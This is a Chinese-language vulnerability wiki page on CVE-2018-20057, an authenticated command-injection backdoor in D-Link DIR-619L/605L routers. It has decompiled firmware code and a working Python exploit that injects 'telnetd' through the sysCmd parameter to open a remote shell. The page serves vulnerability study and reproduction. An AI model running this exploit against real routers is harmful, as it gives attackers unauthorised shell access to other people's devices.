menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right yougar0.github.io(基于零组公开漏洞库 + PeiQi文库的一些漏洞)-20210715 chevron_right IOT安全 chevron_right D-Link chevron_right (CVE-2018-20057)D-Link DIR-619L&605L 命令注入漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2018-20057)D-Link DIR-619L&605L 命令注入漏洞.md
    2.95 KB / 2021-04-21 09:23:46
        # (CVE-2018-20057)D-Link DIR-619L&605L 命令注入漏洞
    
    ## 一、漏洞简介
    
    D-LINK的DIR-619L Rev.B 2.06B1版本之前和DIR-605L Rev.B 2.12B1版本之前的设备,在/bin/boa文件的formSysCmd函数存在后门,导致攻击者在身份认证后可以通过访问
    
    ```
    http://[ip]//goform/formSysCmd并指定sysCmd参数,从而实现远程命令注入。
    ```
    
    固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-619L/REVB/
    
    本漏洞的路由器运行环境与CVE-2018-20056相同。
    
    ## 二、漏洞影响
    
    D-LINK的DIR-619L Rev.B 2.06B1版本之前和DIR-605L Rev.B 2.12B1版本之前的设备。
    
    ## 三、复现过程
    
    ### 漏洞分析
    
    查看ghidra中的反编译代码,在formSysCmd中,首先获取sysCmd参数,然后通过snprintf写入栈中变量,直接调用system函数执行该参数内容。
    
    ```
    void formSysCmd(undefined4 uParm1)
    {
      undefined4 uVar1;
      char *pcVar2;
      char acStack120 [104];
    
      uVar1 = websGetVar(uParm1,"submit-url",&DAT_004ac874);
      //获取post参数sysCmd,该参数可由用户控制
      pcVar2 = (char *)websGetVar(uParm1,"sysCmd",&DAT_004ac874);
      if (*pcVar2 != 0) {
        //将sysCmd写入栈中,并调用system执行
        snprintf(acStack120,100,"%s 2>&1 > %s",pcVar2,"/tmp/syscmd.log");
        system(acStack120);
      }
      websRedirect(uParm1,uVar1);
      return;
    }
    ```
    
    ### 漏洞复现
    
    该漏洞是在身份认证成功之后才可实现命令注入,需要先登录输入用户名和口令。由于是在qemu中模拟固件,通过apmib_get读取路由器本地配置无法实现,所以在劫持了apmib_get函数之后,login输入的用户名和密码暂时填为空。在真机上操作时,换成真实的用户名和密码即可。
    
    ```
    import requests
    import sys
    import struct
    import base64
    from pwn import *
    context(arch='mips',endian='big',log_level='debug')
    
    ip='192.168.84.129'
    port=101
    def login(user,password):
        postData = {
        'login_name':'',
        'curTime':'1234',
        'FILECODE':'',
        'VER_CODE':'',
        'VERIFICATION_CODE':'',
        'login_n':user,
        'login_pass':base64.b64encode(password),
        }
        response = requests.post('http://'+ip+'/goform/formLogin',data=postData)
        #print response.url
    def syscmd(cmd):
        postData = {
        'sysCmd':cmd,
        'submit-url':'1234',
        }
        response = requests.post('http://'+ip+'/goform/formSysCmd',data=postData)
        #print response.url
    def inter():
        p=remote(ip,port)
        p.interactive()
    if __name__ == "__main__":
        login('','')#这里要写实际的用户名和密码,例如admin 12345
        syscmd('telnetd -p '+str(port))
        inter()
    ```
    
    另由于qemu模拟时,/dev下没有pty设备,导致telnet连接不能实现,但是端口是已经打开了:
    
    ![](resource/%EF%BC%88CVE-2018-20057%EF%BC%89D-Link%20DIR-619L&605L%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/media/15-20201014111413220.png)
    
    ![](resource/%EF%BC%88CVE-2018-20057%EF%BC%89D-Link%20DIR-619L&605L%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/media/16-20201014111413219.png)
    
    links
    file_download